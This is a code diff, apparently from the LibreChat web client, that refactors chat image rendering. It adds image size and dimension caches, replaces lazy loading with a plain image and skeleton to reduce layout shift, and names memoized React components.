return 'bg-green-100 text-green-800'; return 'bg-green-100 text-green-800';
@ -50,18 +52,26 @@ export default function DialogImage({
const closeButtonRef = useRef<HTMLButtonElement>(null); const closeButtonRef = useRef<HTMLButtonElement>(null);
const getImageSize = useCallback(async (url: string) => { const getImageSize = useCallback(async (url: string) => {
const cached = imageSizeCache.get(url);
if (cached) {
return cached;
}
try { try {
const response = await fetch(url, { method: 'HEAD' }); const response = await fetch(url, { method: 'HEAD' });
const contentLength = response.headers.get('Content-Length'); const contentLength = response.headers.get('Content-Length');
if (contentLength) { if (contentLength) {
const bytes = parseInt(contentLength, 10); const bytes = parseInt(contentLength, 10);
return formatFileSize(bytes); const result = formatFileSize(bytes);
imageSizeCache.set(url, result);
return result;
} }
const fullResponse = await fetch(url); const fullResponse = await fetch(url);
const blob = await fullResponse.blob(); const blob = await fullResponse.blob();
return formatFileSize(blob.size); const result = formatFileSize(blob.size);
imageSizeCache.set(url, result);
return result;
} catch (error) { } catch (error) {
console.error('Error getting image size:', error); console.error('Error getting image size:', error);
return null; return null;
@ -355,6 +365,7 @@ export default function DialogImage({
ref={imageRef} ref={imageRef}
src={src} src={src}
alt="Image" alt="Image"
decoding="async"
className="block max-h-[85vh] object-contain" className="block max-h-[85vh] object-contain"
style={{ style={{
maxWidth: getImageMaxWidth(), maxWidth: getImageMaxWidth(),

View file

@ -1,6 +1,7 @@
import { useMemo, memo } from 'react'; import { useMemo, memo } from 'react';
import type { TFile, TMessage } from 'librechat-data-provider'; import type { TFile, TMessage } from 'librechat-data-provider';
import FileContainer from '~/components/Chat/Input/Files/FileContainer'; import FileContainer from '~/components/Chat/Input/Files/FileContainer';
import { getCachedPreview } from '~/utils';
import Image from './Image'; import Image from './Image';
const Files = ({ message }: { message?: TMessage }) => { const Files = ({ message }: { message?: TMessage }) => {
@ -17,21 +18,18 @@ const Files = ({ message }: { message?: TMessage }) => {
{otherFiles.length > 0 && {otherFiles.length > 0 &&
otherFiles.map((file) => <FileContainer key={file.file_id} file={file as TFile} />)} otherFiles.map((file) => <FileContainer key={file.file_id} file={file as TFile} />)}
{imageFiles.length > 0 && {imageFiles.length > 0 &&
imageFiles.map((file) => ( imageFiles.map((file) => {
<Image const cached = file.file_id ? getCachedPreview(file.file_id) : undefined;
key={file.file_id} return (
imagePath={file.preview ?? file.filepath ?? ''} <Image
height={file.height ?? 1920} key={file.file_id}
width={file.width ?? 1080} width={file.width}
altText={file.filename ?? 'Uploaded Image'} height={file.height}
placeholderDimensions={{ altText={file.filename ?? 'Uploaded Image'}
height: `${file.height ?? 1920}px`, imagePath={cached ?? file.preview ?? file.filepath ?? ''}
width: `${file.height ?? 1080}px`, />
}} );
// n={imageFiles.length} })}
// i={i}
/>
))}
</> </>
); );
}; };

View file

@ -1,27 +1,39 @@
import React, { useState, useRef, useMemo } from 'react'; import React, { useState, useRef, useMemo, useEffect } from 'react';
import { Skeleton } from '@librechat/client'; import { Skeleton } from '@librechat/client';
import { LazyLoadImage } from 'react-lazy-load-image-component';
import { apiBaseUrl } from 'librechat-data-provider'; import { apiBaseUrl } from 'librechat-data-provider';
import { cn, scaleImage } from '~/utils';
import DialogImage from './DialogImage'; import DialogImage from './DialogImage';
import { cn } from '~/utils';
/** Max display height for chat images (Tailwind JIT class) */
export const IMAGE_MAX_H = 'max-h-[45vh]' as const;
/** Matches the `max-w-lg` Tailwind class on the wrapper button (32rem = 512px at 16px base) */
const IMAGE_MAX_W_PX = 512;
/** Caches image dimensions by src so remounts can reserve space */
const dimensionCache = new Map<string, { width: number; height: number }>();
/** Tracks URLs that have been fully painted — skip skeleton on remount */
const paintedUrls = new Set<string>();
/** Test-only: resets module-level caches */
export function _resetImageCaches(): void {
dimensionCache.clear();
paintedUrls.clear();
}
function computeHeightStyle(w: number, h: number): React.CSSProperties {
return { height: `min(45vh, ${(h / w) * 100}vw, ${(h / w) * IMAGE_MAX_W_PX}px)` };
}
const Image = ({ const Image = ({
imagePath, imagePath,
altText, altText,
height,
width,
placeholderDimensions,
className, className,
args, args,
width,
height,
}: { }: {
imagePath: string; imagePath: string;
altText: string; altText: string;
height: number;
width: number;
placeholderDimensions?: {
height?: string;
width?: string;
};
className?: string; className?: string;
args?: { args?: {
prompt?: string; prompt?: string;
@ -30,19 +42,15 @@ const Image = ({
style?: string; style?: string;
[key: string]: unknown; [key: string]: unknown;
}; };
width?: number;
height?: number;
}) => { }) => {
const [isOpen, setIsOpen] = useState(false); const [isOpen, setIsOpen] = useState(false);
const [isLoaded, setIsLoaded] = useState(false);
const containerRef = useRef<HTMLDivElement>(null);
const triggerRef = useRef<HTMLButtonElement>(null); const triggerRef = useRef<HTMLButtonElement>(null);
const handleImageLoad = () => setIsLoaded(true);
// Fix image path to include base path for subdirectory deployments
const absoluteImageUrl = useMemo(() => { const absoluteImageUrl = useMemo(() => {
if (!imagePath) return imagePath; if (!imagePath) return imagePath;
// If it's already an absolute URL or doesn't start with /images/, return as is
if ( if (
imagePath.startsWith('http') || imagePath.startsWith('http') ||
imagePath.startsWith('data:') || imagePath.startsWith('data:') ||
@ -51,21 +59,10 @@ const Image = ({
return imagePath; return imagePath;
} }
// Get the base URL and prepend it to the image path
const baseURL = apiBaseUrl(); const baseURL = apiBaseUrl();
return `${baseURL}${imagePath}`; return `${baseURL}${imagePath}`;
}, [imagePath]); }, [imagePath]);
const { width: scaledWidth, height: scaledHeight } = useMemo(
() =>
scaleImage({
originalWidth: Number(placeholderDimensions?.width?.split('px')[0] ?? width),
originalHeight: Number(placeholderDimensions?.height?.split('px')[0] ?? height),
containerRef,
}),
[placeholderDimensions, height, width],
);
const downloadImage = async () => { const downloadImage = async () => {
try { try {
const response = await fetch(absoluteImageUrl); const response = await fetch(absoluteImageUrl);
@ -95,8 +92,19 @@ const Image = ({
} }
}; };
useEffect(() => {
if (width && height && absoluteImageUrl) {
dimensionCache.set(absoluteImageUrl, { width, height });
}
}, [absoluteImageUrl, width, height]);
const dims = width && height ? { width, height } : dimensionCache.get(absoluteImageUrl);
const hasDimensions = !!(dims?.width && dims?.height);
const heightStyle = hasDimensions ? computeHeightStyle(dims.width, dims.height) : undefined;
const showSkeleton = hasDimensions && !paintedUrls.has(absoluteImageUrl);
return ( return (
<div ref={containerRef}> <div>
<button <button
ref={triggerRef} ref={triggerRef}
type="button" type="button"
@ -104,45 +112,33 @@ const Image = ({
aria-haspopup="dialog" aria-haspopup="dialog"
onClick={() => setIsOpen(true)} onClick={() => setIsOpen(true)}
className={cn( className={cn(
'relative mt-1 flex h-auto w-full max-w-lg cursor-pointer items-center justify-center overflow-hidden rounded-lg border border-border-light text-text-secondary-alt shadow-md transition-shadow', 'relative mt-1 w-full max-w-lg cursor-pointer overflow-hidden rounded-lg border border-border-light text-text-secondary-alt shadow-md transition-shadow',
'focus:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 focus-visible:ring-offset-surface-primary', 'focus:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 focus-visible:ring-offset-surface-primary',
className, className,
)} )}
style={heightStyle}
> >
<LazyLoadImage {showSkeleton && <Skeleton className="absolute inset-0" aria-hidden="true" />}
<img
alt={altText} alt={altText}
onLoad={handleImageLoad}
visibleByDefault={true}
className={cn(
'opacity-100 transition-opacity duration-100',
isLoaded ? 'opacity-100' : 'opacity-0',
)}
src={absoluteImageUrl} src={absoluteImageUrl}
style={{ onLoad={() => paintedUrls.add(absoluteImageUrl)}
width: `${scaledWidth}`, className={cn(
height: 'auto', 'relative block text-transparent',
color: 'transparent', hasDimensions
display: 'block', ? 'size-full object-contain'
}} : cn('h-auto w-auto max-w-full', IMAGE_MAX_H),
placeholder={ )}
<Skeleton
className={cn('h-auto w-full', `h-[${scaledHeight}] w-[${scaledWidth}]`)}
aria-label="Loading image"
aria-busy="true"
/>
}
/> />
</button> </button>
{isLoaded && ( <DialogImage
<DialogImage isOpen={isOpen}
isOpen={isOpen} onOpenChange={setIsOpen}
onOpenChange={setIsOpen} src={absoluteImageUrl}
src={absoluteImageUrl} downloadImage={downloadImage}
downloadImage={downloadImage} args={args}
args={args} triggerRef={triggerRef}
triggerRef={triggerRef} />
/>
)}
</div> </div>
); );
}; };

View file

@ -27,7 +27,7 @@ type TContentProps = {
isLatestMessage: boolean; isLatestMessage: boolean;
}; };
const Markdown = memo(({ content = '', isLatestMessage }: TContentProps) => { const Markdown = memo(function Markdown({ content = '', isLatestMessage }: TContentProps) {
const LaTeXParsing = useRecoilValue<boolean>(store.LaTeXParsing); const LaTeXParsing = useRecoilValue<boolean>(store.LaTeXParsing);
const isInitializing = content === ''; const isInitializing = content === '';
@ -106,5 +106,6 @@ const Markdown = memo(({ content = '', isLatestMessage }: TContentProps) => {
</MarkdownErrorBoundary> </MarkdownErrorBoundary>
); );
}); });
Markdown.displayName = 'Markdown';
export default Markdown; export default Markdown;

View file

@ -18,7 +18,10 @@ type TCodeProps = {
children: React.ReactNode; children: React.ReactNode;
}; };
export const code: React.ElementType = memo(({ className, children }: TCodeProps) => { export const code: React.ElementType = memo(function MarkdownCode({
className,
children,
}: TCodeProps) {
const canRunCode = useHasAccess({ const canRunCode = useHasAccess({
permissionType: PermissionTypes.RUN_CODE, permissionType: PermissionTypes.RUN_CODE,
permission: Permissions.USE, permission: Permissions.USE,
@ -62,8 +65,12 @@ export const code: React.ElementType = memo(({ className, children }: TCodeProps
); );
} }
}); });
code.displayName = 'MarkdownCode';
export const codeNoExecution: React.ElementType = memo(({ className, children }: TCodeProps) => { export const codeNoExecution: React.ElementType = memo(function MarkdownCodeNoExecution({
className,
children,
}: TCodeProps) {
const match = /language-(\w+)/.exec(className ?? ''); const match = /language-(\w+)/.exec(className ?? '');
const lang = match && match[1]; const lang = match && match[1];
@ -82,13 +89,14 @@ export const codeNoExecution: React.ElementType = memo(({ className, children }:
return <CodeBlock lang={lang ?? 'text'} codeChildren={children} allowExecution={false} />; return <CodeBlock lang={lang ?? 'text'} codeChildren={children} allowExecution={false} />;
} }
}); });
codeNoExecution.displayName = 'MarkdownCodeNoExecution';
type TAnchorProps = { type TAnchorProps = {
href: string; href: string;
children: React.ReactNode; children: React.ReactNode;
}; };
export const a: React.ElementType = memo(({ href, children }: TAnchorProps) => { export const a: React.ElementType = memo(function MarkdownAnchor({ href, children }: TAnchorProps) {
const user = useRecoilValue(store.user); const user = useRecoilValue(store.user);
const { showToast } = useToastContext(); const { showToast } = useToastContext();
const localize = useLocalize(); const localize = useLocalize();
@ -163,14 +171,16 @@ export const a: React.ElementType = memo(({ href, children }: TAnchorProps) => {
</a> </a>
); );
}); });
a.displayName = 'MarkdownAnchor';
type TParagraphProps = { type TParagraphProps = {
children: React.ReactNode; children: React.ReactNode;
}; };
export const p: React.ElementType = memo(({ children }: TParagraphProps) => { export const p: React.ElementType = memo(function MarkdownParagraph({ children }: TParagraphProps) {
return <p className="mb-2 whitespace-pre-wrap">{children}</p>; return <p className="mb-2 whitespace-pre-wrap">{children}</p>;
}); });
p.displayName = 'MarkdownParagraph';
type TImageProps = { type TImageProps = {
src?: string; src?: string;
@ -180,7 +190,13 @@ type TImageProps = {
style?: React.CSSProperties; style?: React.CSSProperties;
}; };
export const img: React.ElementType = memo(({ src, alt, title, className, style }: TImageProps) => { export const img: React.ElementType = memo(function MarkdownImage({
src,
alt,
title,
className,
style,
}: TImageProps) {
// Get the base URL from the API endpoints // Get the base URL from the API endpoints
const baseURL = apiBaseUrl(); const baseURL = apiBaseUrl();
@ -199,3 +215,4 @@ export const img: React.ElementType = memo(({ src, alt, title, className, style
return <img src={fixedSrc} alt={alt} title={title} className={className} style={style} />; return <img src={fixedSrc} alt={alt} title={title} className={className} style={style} />;
}); });
img.displayName = 'MarkdownImage';

View file

@ -185,4 +185,7 @@ const MessageContent = ({
); );
}; };
export default memo(MessageContent); const MemoizedMessageContent = memo(MessageContent);
MemoizedMessageContent.displayName = 'MessageContent';
export default MemoizedMessageContent;

View file

@ -11,6 +11,7 @@ import type { TMessageContentParts, TAttachment } from 'librechat-data-provider'
import { OpenAIImageGen, EmptyText, Reasoning, ExecuteCode, AgentUpdate, Text } from './Parts'; import { OpenAIImageGen, EmptyText, Reasoning, ExecuteCode, AgentUpdate, Text } from './Parts';
import { ErrorMessage } from './MessageContent'; import { ErrorMessage } from './MessageContent';
import RetrievalCall from './RetrievalCall'; import RetrievalCall from './RetrievalCall';
import { getCachedPreview } from '~/utils';
import AgentHandoff from './AgentHandoff'; import AgentHandoff from './AgentHandoff';
import CodeAnalyze from './CodeAnalyze'; import CodeAnalyze from './CodeAnalyze';
import Container from './Container'; import Container from './Container';
@ -28,212 +29,213 @@ type PartProps = {
attachments?: TAttachment[]; attachments?: TAttachment[];
}; };
const Part = memo( const Part = memo(function Part({
({ part, isSubmitting, attachments, isLast, showCursor, isCreatedByUser }: PartProps) => { part,
if (!part) { isSubmitting,
attachments,
isLast,
showCursor,
isCreatedByUser,
}: PartProps) {
if (!part) {
return null;
}
if (part.type === ContentTypes.ERROR) {
return (
<ErrorMessage
text={
part[ContentTypes.ERROR] ??
(typeof part[ContentTypes.TEXT] === 'string'
? part[ContentTypes.TEXT]
: part.text?.value) ??
''
}
className="my-2"
/>
);
} else if (part.type === ContentTypes.AGENT_UPDATE) {
return (
<>
<AgentUpdate currentAgentId={part[ContentTypes.AGENT_UPDATE]?.agentId} />
{isLast && showCursor && (
<Container>
<EmptyText />
</Container>
)}
</>
);
} else if (part.type === ContentTypes.TEXT) {
const text = typeof part.text === 'string' ? part.text : part.text?.value;
if (typeof text !== 'string') {
return null;
}
if (part.tool_call_ids != null && !text) {
return null;
}
/** Handle whitespace-only text to avoid layout shift */
if (text.length > 0 && /^\s*$/.test(text)) {
/** Show placeholder for whitespace-only last part during streaming */
if (isLast && showCursor) {
return (
<Container>
<EmptyText />
</Container>
);
}
/** Skip rendering non-last whitespace-only parts to avoid empty Container */
if (!isLast) {
return null;
}
}
return (
<Container>
<Text text={text} isCreatedByUser={isCreatedByUser} showCursor={showCursor} />
</Container>
);
} else if (part.type === ContentTypes.THINK) {
const reasoning = typeof part.think === 'string' ? part.think : part.think?.value;
if (typeof reasoning !== 'string') {
return null;
}
return <Reasoning reasoning={reasoning} isLast={isLast ?? false} />;
} else if (part.type === ContentTypes.TOOL_CALL) {
const toolCall = part[ContentTypes.TOOL_CALL];
if (!toolCall) {
return null; return null;
} }
if (part.type === ContentTypes.ERROR) { const isToolCall =
'args' in toolCall && (!toolCall.type || toolCall.type === ToolCallTypes.TOOL_CALL);
if (
isToolCall &&
(toolCall.name === Tools.execute_code ||
toolCall.name === Constants.PROGRAMMATIC_TOOL_CALLING)
) {
return ( return (
<ErrorMessage <ExecuteCode
text={ attachments={attachments}
part[ContentTypes.ERROR] ?? isSubmitting={isSubmitting}
(typeof part[ContentTypes.TEXT] === 'string' output={toolCall.output ?? ''}
? part[ContentTypes.TEXT] initialProgress={toolCall.progress ?? 0.1}
: part.text?.value) ?? args={typeof toolCall.args === 'string' ? toolCall.args : ''}
''
}
className="my-2"
/> />
); );
} else if (part.type === ContentTypes.AGENT_UPDATE) { } else if (
isToolCall &&
(toolCall.name === 'image_gen_oai' ||
toolCall.name === 'image_edit_oai' ||
toolCall.name === 'gemini_image_gen')
) {
return ( return (
<> <OpenAIImageGen
<AgentUpdate currentAgentId={part[ContentTypes.AGENT_UPDATE]?.agentId} /> initialProgress={toolCall.progress ?? 0.1}
{isLast && showCursor && ( isSubmitting={isSubmitting}
<Container> toolName={toolCall.name}
<EmptyText /> args={typeof toolCall.args === 'string' ? toolCall.args : ''}
</Container> output={toolCall.output ?? ''}
)} attachments={attachments}
</> />
); );
} else if (part.type === ContentTypes.TEXT) { } else if (isToolCall && toolCall.name === Tools.web_search) {
const text = typeof part.text === 'string' ? part.text : part.text?.value; return (
<WebSearch
if (typeof text !== 'string') { output={toolCall.output ?? ''}
return null; initialProgress={toolCall.progress ?? 0.1}
} isSubmitting={isSubmitting}
if (part.tool_call_ids != null && !text) { attachments={attachments}
return null; isLast={isLast}
} />
/** Handle whitespace-only text to avoid layout shift */ );
if (text.length > 0 && /^\s*$/.test(text)) { } else if (isToolCall && toolCall.name?.startsWith(Constants.LC_TRANSFER_TO_)) {
/** Show placeholder for whitespace-only last part during streaming */ return (
if (isLast && showCursor) { <AgentHandoff
args={toolCall.args ?? ''}
name={toolCall.name || ''}
output={toolCall.output ?? ''}
/>
);
} else if (isToolCall) {
return (
<ToolCall
args={toolCall.args ?? ''}
name={toolCall.name || ''}
output={toolCall.output ?? ''}
initialProgress={toolCall.progress ?? 0.1}
isSubmitting={isSubmitting}
attachments={attachments}
auth={toolCall.auth}
expires_at={toolCall.expires_at}
isLast={isLast}
/>
);
} else if (toolCall.type === ToolCallTypes.CODE_INTERPRETER) {
const code_interpreter = toolCall[ToolCallTypes.CODE_INTERPRETER];
return (
<CodeAnalyze
initialProgress={toolCall.progress ?? 0.1}
code={code_interpreter.input}
outputs={code_interpreter.outputs ?? []}
/>
);
} else if (
toolCall.type === ToolCallTypes.RETRIEVAL ||
toolCall.type === ToolCallTypes.FILE_SEARCH
) {
return (
<RetrievalCall initialProgress={toolCall.progress ?? 0.1} isSubmitting={isSubmitting} />
);
} else if (
toolCall.type === ToolCallTypes.FUNCTION &&
ToolCallTypes.FUNCTION in toolCall &&
imageGenTools.has(toolCall.function.name)
) {
return (
<ImageGen
initialProgress={toolCall.progress ?? 0.1}
args={toolCall.function.arguments as string}
/>
);
} else if (toolCall.type === ToolCallTypes.FUNCTION && ToolCallTypes.FUNCTION in toolCall) {
if (isImageVisionTool(toolCall)) {
if (isSubmitting && showCursor) {
return ( return (
<Container> <Container>
<EmptyText /> <Text text={''} isCreatedByUser={isCreatedByUser} showCursor={showCursor} />
</Container> </Container>
); );
} }
/** Skip rendering non-last whitespace-only parts to avoid empty Container */
if (!isLast) {
return null;
}
}
return (
<Container>
<Text text={text} isCreatedByUser={isCreatedByUser} showCursor={showCursor} />
</Container>
);
} else if (part.type === ContentTypes.THINK) {
const reasoning = typeof part.think === 'string' ? part.think : part.think?.value;
if (typeof reasoning !== 'string') {
return null;
}
return <Reasoning reasoning={reasoning} isLast={isLast ?? false} />;
} else if (part.type === ContentTypes.TOOL_CALL) {
const toolCall = part[ContentTypes.TOOL_CALL];
if (!toolCall) {
return null; return null;
} }
const isToolCall =
'args' in toolCall && (!toolCall.type || toolCall.type === ToolCallTypes.TOOL_CALL);
if (
isToolCall &&
(toolCall.name === Tools.execute_code ||
toolCall.name === Constants.PROGRAMMATIC_TOOL_CALLING)
) {
return (
<ExecuteCode
attachments={attachments}
isSubmitting={isSubmitting}
output={toolCall.output ?? ''}
initialProgress={toolCall.progress ?? 0.1}
args={typeof toolCall.args === 'string' ? toolCall.args : ''}
/>
);
} else if (
isToolCall &&
(toolCall.name === 'image_gen_oai' ||
toolCall.name === 'image_edit_oai' ||
toolCall.name === 'gemini_image_gen')
) {
return (
<OpenAIImageGen
initialProgress={toolCall.progress ?? 0.1}
isSubmitting={isSubmitting}
toolName={toolCall.name}
args={typeof toolCall.args === 'string' ? toolCall.args : ''}
output={toolCall.output ?? ''}
attachments={attachments}
/>
);
} else if (isToolCall && toolCall.name === Tools.web_search) {
return (
<WebSearch
output={toolCall.output ?? ''}
initialProgress={toolCall.progress ?? 0.1}
isSubmitting={isSubmitting}
attachments={attachments}
isLast={isLast}
/>
);
} else if (isToolCall && toolCall.name?.startsWith(Constants.LC_TRANSFER_TO_)) {
return (
<AgentHandoff
args={toolCall.args ?? ''}
name={toolCall.name || ''}
output={toolCall.output ?? ''}
/>
);
} else if (isToolCall) {
return (
<ToolCall
args={toolCall.args ?? ''}
name={toolCall.name || ''}
output={toolCall.output ?? ''}
initialProgress={toolCall.progress ?? 0.1}
isSubmitting={isSubmitting}
attachments={attachments}
auth={toolCall.auth}
expires_at={toolCall.expires_at}
isLast={isLast}
/>
);
} else if (toolCall.type === ToolCallTypes.CODE_INTERPRETER) {
const code_interpreter = toolCall[ToolCallTypes.CODE_INTERPRETER];
return (
<CodeAnalyze
initialProgress={toolCall.progress ?? 0.1}
code={code_interpreter.input}
outputs={code_interpreter.outputs ?? []}
/>
);
} else if (
toolCall.type === ToolCallTypes.RETRIEVAL ||
toolCall.type === ToolCallTypes.FILE_SEARCH
) {
return (
<RetrievalCall initialProgress={toolCall.progress ?? 0.1} isSubmitting={isSubmitting} />
);
} else if (
toolCall.type === ToolCallTypes.FUNCTION &&
ToolCallTypes.FUNCTION in toolCall &&
imageGenTools.has(toolCall.function.name)
) {
return (
<ImageGen
initialProgress={toolCall.progress ?? 0.1}
args={toolCall.function.arguments as string}
/>
);
} else if (toolCall.type === ToolCallTypes.FUNCTION && ToolCallTypes.FUNCTION in toolCall) {
if (isImageVisionTool(toolCall)) {
if (isSubmitting && showCursor) {
return (
<Container>
<Text text={''} isCreatedByUser={isCreatedByUser} showCursor={showCursor} />
</Container>
);
}
return null;
}
return (
<ToolCall
initialProgress={toolCall.progress ?? 0.1}
isSubmitting={isSubmitting}
args={toolCall.function.arguments as string}
name={toolCall.function.name}
output={toolCall.function.output}
isLast={isLast}
/>
);
}
} else if (part.type === ContentTypes.IMAGE_FILE) {
const imageFile = part[ContentTypes.IMAGE_FILE];
const height = imageFile.height ?? 1920;
const width = imageFile.width ?? 1080;
return ( return (
<Image <ToolCall
imagePath={imageFile.filepath} initialProgress={toolCall.progress ?? 0.1}
height={height} isSubmitting={isSubmitting}
width={width} args={toolCall.function.arguments as string}
altText={imageFile.filename ?? 'Uploaded Image'} name={toolCall.function.name}
placeholderDimensions={{ output={toolCall.function.output}
height: height + 'px', isLast={isLast}
width: width + 'px',
}}
/> />
); );
} }
} else if (part.type === ContentTypes.IMAGE_FILE) {
const imageFile = part[ContentTypes.IMAGE_FILE];
const cached = imageFile.file_id ? getCachedPreview(imageFile.file_id) : undefined;
return (
<Image
imagePath={cached ?? imageFile.filepath}
altText={imageFile.filename ?? 'Uploaded Image'}
width={imageFile.width}
height={imageFile.height}
/>
);
}
return null; return null;
}, });
); Part.displayName = 'Part';
export default Part; export default Part;

View file

@ -76,8 +76,8 @@ const ImageAttachment = memo(({ attachment }: { attachment: TAttachment }) => {
<Image <Image
altText={attachment.filename || 'attachment image'} altText={attachment.filename || 'attachment image'}
imagePath={filepath ?? ''} imagePath={filepath ?? ''}
height={height ?? 0} width={width}
width={width ?? 0} height={height}
className="mb-4" className="mb-4"
/> />
</div> </div>

View file

@ -1,8 +1,9 @@
import { memo } from 'react'; import { memo } from 'react';
/** Streaming cursor placeholder — no bottom margin to match Container's structure and prevent CLS */
const EmptyTextPart = memo(() => { const EmptyTextPart = memo(() => {
return ( return (
<div className="text-message mb-[0.625rem] flex min-h-[20px] flex-col items-start gap-3 overflow-visible"> <div className="text-message flex min-h-[20px] flex-col items-start gap-3 overflow-visible">
<div className="markdown prose dark:prose-invert light w-full break-words dark:text-gray-100"> <div className="markdown prose dark:prose-invert light w-full break-words dark:text-gray-100">
<div className="absolute"> <div className="absolute">
<p className="submitting relative"> <p className="submitting relative">

View file

@ -12,11 +12,7 @@ interface LogContentProps {
attachments?: TAttachment[]; attachments?: TAttachment[];
} }
type ImageAttachment = TFile & type ImageAttachment = TFile & TAttachmentMetadata;
TAttachmentMetadata & {
height: number;
width: number;
};
const LogContent: React.FC<LogContentProps> = ({ output = '', renderImages, attachments }) => { const LogContent: React.FC<LogContentProps> = ({ output = '', renderImages, attachments }) => {
const localize = useLocalize(); const localize = useLocalize();
@ -35,12 +31,8 @@ const LogContent: React.FC<LogContentProps> = ({ output = '', renderImages, atta
const nonImageAtts: TAttachment[] = []; const nonImageAtts: TAttachment[] = [];
attachments?.forEach((attachment) => { attachments?.forEach((attachment) => {
const { width, height, filepath = null } = attachment as TFile & TAttachmentMetadata; const { filepath = null } = attachment as TFile & TAttachmentMetadata;
const isImage = const isImage = imageExtRegex.test(attachment.filename ?? '') && filepath != null;
imageExtRegex.test(attachment.filename ?? '') &&
width != null &&
height != null &&
filepath != null;
if (isImage) { if (isImage) {
imageAtts.push(attachment as ImageAttachment); imageAtts.push(attachment as ImageAttachment);
} else { } else {
@ -100,18 +92,15 @@ const LogContent: React.FC<LogContentProps> = ({ output = '', renderImages, atta
))} ))}
</div> </div>
)} )}
{imageAttachments?.map((attachment, index) => { {imageAttachments?.map((attachment) => (
const { width, height, filepath } = attachment; <Image
return ( width={attachment.width}
<Image height={attachment.height}
key={index} key={attachment.filepath}
altText={attachment.filename} altText={attachment.filename}
imagePath={filepath} imagePath={attachment.filepath}
height={height} />
width={width} ))}
/>
);
})}
</> </>
); );
}; };

View file

@ -1,9 +1,12 @@
import { useState, useEffect, useRef, useCallback } from 'react'; import { useState, useEffect, useRef } from 'react';
import { PixelCard } from '@librechat/client'; import { PixelCard } from '@librechat/client';
import type { TAttachment, TFile, TAttachmentMetadata } from 'librechat-data-provider'; import type { TAttachment, TFile, TAttachmentMetadata } from 'librechat-data-provider';
import Image from '~/components/Chat/Messages/Content/Image'; import Image from '~/components/Chat/Messages/Content/Image';
import ProgressText from './ProgressText'; import ProgressText from './ProgressText';
import { scaleImage } from '~/utils'; import { cn } from '~/utils';
const IMAGE_MAX_H = 'max-h-[45vh]' as const;
const IMAGE_FULL_H = 'h-[45vh]' as const;
export default function OpenAIImageGen({ export default function OpenAIImageGen({
initialProgress = 0.1, initialProgress = 0.1,
@ -28,8 +31,6 @@ export default function OpenAIImageGen({
const cancelled = (!isSubmitting && initialProgress < 1) || error === true; const cancelled = (!isSubmitting && initialProgress < 1) || error === true;
let width: number | undefined;
let height: number | undefined;
let quality: 'low' | 'medium' | 'high' = 'high'; let quality: 'low' | 'medium' | 'high' = 'high';
// Parse args if it's a string // Parse args if it's a string
@ -41,62 +42,21 @@ export default function OpenAIImageGen({
parsedArgs = {}; parsedArgs = {};
} }
try { if (parsedArgs && typeof parsedArgs.quality === 'string') {
const argsObj = parsedArgs; const q = parsedArgs.quality.toLowerCase();
if (q === 'low' || q === 'medium' || q === 'high') {
if (argsObj && typeof argsObj.size === 'string') { quality = q;
const [w, h] = argsObj.size.split('x').map((v: string) => parseInt(v, 10));
if (!isNaN(w) && !isNaN(h)) {
width = w;
height = h;
}
} else if (argsObj && (typeof argsObj.size !== 'string' || !argsObj.size)) {
width = undefined;
height = undefined;
} }
if (argsObj && typeof argsObj.quality === 'string') {
const q = argsObj.quality.toLowerCase();
if (q === 'low' || q === 'medium' || q === 'high') {
quality = q;
}
}
} catch (e) {
width = undefined;
height = undefined;
} }
// Default to 1024x1024 if width and height are still undefined after parsing args and attachment metadata
const attachment = attachments?.[0]; const attachment = attachments?.[0];
const { const {
width: imageWidth,
height: imageHeight,
filepath = null, filepath = null,
filename = '', filename = '',
width: imgWidth,
height: imgHeight,
} = (attachment as TFile & TAttachmentMetadata) || {}; } = (attachment as TFile & TAttachmentMetadata) || {};
let origWidth = width ?? imageWidth;
let origHeight = height ?? imageHeight;
if (origWidth === undefined || origHeight === undefined) {
origWidth = 1024;
origHeight = 1024;
}
const [dimensions, setDimensions] = useState({ width: 'auto', height: 'auto' });
const containerRef = useRef<HTMLDivElement>(null);
const updateDimensions = useCallback(() => {
if (origWidth && origHeight && containerRef.current) {
const scaled = scaleImage({
originalWidth: origWidth,
originalHeight: origHeight,
containerRef,
});
setDimensions(scaled);
}
}, [origWidth, origHeight]);
useEffect(() => { useEffect(() => {
if (isSubmitting) { if (isSubmitting) {
setProgress(initialProgress); setProgress(initialProgress);
@ -156,45 +116,21 @@ export default function OpenAIImageGen({
} }
}, [initialProgress, cancelled]); }, [initialProgress, cancelled]);
useEffect(() => {
updateDimensions();
const resizeObserver = new ResizeObserver(() => {
updateDimensions();
});
if (containerRef.current) {
resizeObserver.observe(containerRef.current);
}
return () => {
resizeObserver.disconnect();
};
}, [updateDimensions]);
return ( return (
<> <>
<div className="relative my-2.5 flex size-5 shrink-0 items-center gap-2.5"> <div className="relative my-2.5 flex size-5 shrink-0 items-center gap-2.5">
<ProgressText progress={progress} error={cancelled} toolName={toolName} /> <ProgressText progress={progress} error={cancelled} toolName={toolName} />
</div> </div>
<div className="relative mb-2 flex w-full justify-start"> <div className={cn('relative mb-2 flex w-full max-w-lg justify-start', IMAGE_MAX_H)}>
<div ref={containerRef} className="w-full max-w-lg"> <div className={cn('overflow-hidden', progress < 1 ? [IMAGE_FULL_H, 'w-full'] : 'w-auto')}>
{dimensions.width !== 'auto' && progress < 1 && ( {progress < 1 && <PixelCard variant="default" progress={progress} randomness={0.6} />}
<PixelCard
variant="default"
progress={progress}
randomness={0.6}
width={dimensions.width}
height={dimensions.height}
/>
)}
<Image <Image
width={imgWidth}
args={parsedArgs}
height={imgHeight}
altText={filename} altText={filename}
imagePath={filepath ?? ''} imagePath={filepath ?? ''}
width={Number(dimensions.width?.split('px')[0])} className={progress < 1 ? 'invisible absolute' : ''}
height={Number(dimensions.height?.split('px')[0])}
placeholderDimensions={{ width: dimensions.width, height: dimensions.height }}
args={parsedArgs}
/> />
</div> </div>
</div> </div>

View file

@ -17,7 +17,7 @@ type ContentType =
| ReactElement<React.ComponentProps<typeof MarkdownLite>> | ReactElement<React.ComponentProps<typeof MarkdownLite>>
| ReactElement; | ReactElement;
const TextPart = memo(({ text, isCreatedByUser, showCursor }: TextPartProps) => { const TextPart = memo(function TextPart({ text, isCreatedByUser, showCursor }: TextPartProps) {
const { isSubmitting = false, isLatestMessage = false } = useMessageContext(); const { isSubmitting = false, isLatestMessage = false } = useMessageContext();
const enableUserMsgMarkdown = useRecoilValue(store.enableUserMsgMarkdown); const enableUserMsgMarkdown = useRecoilValue(store.enableUserMsgMarkdown);
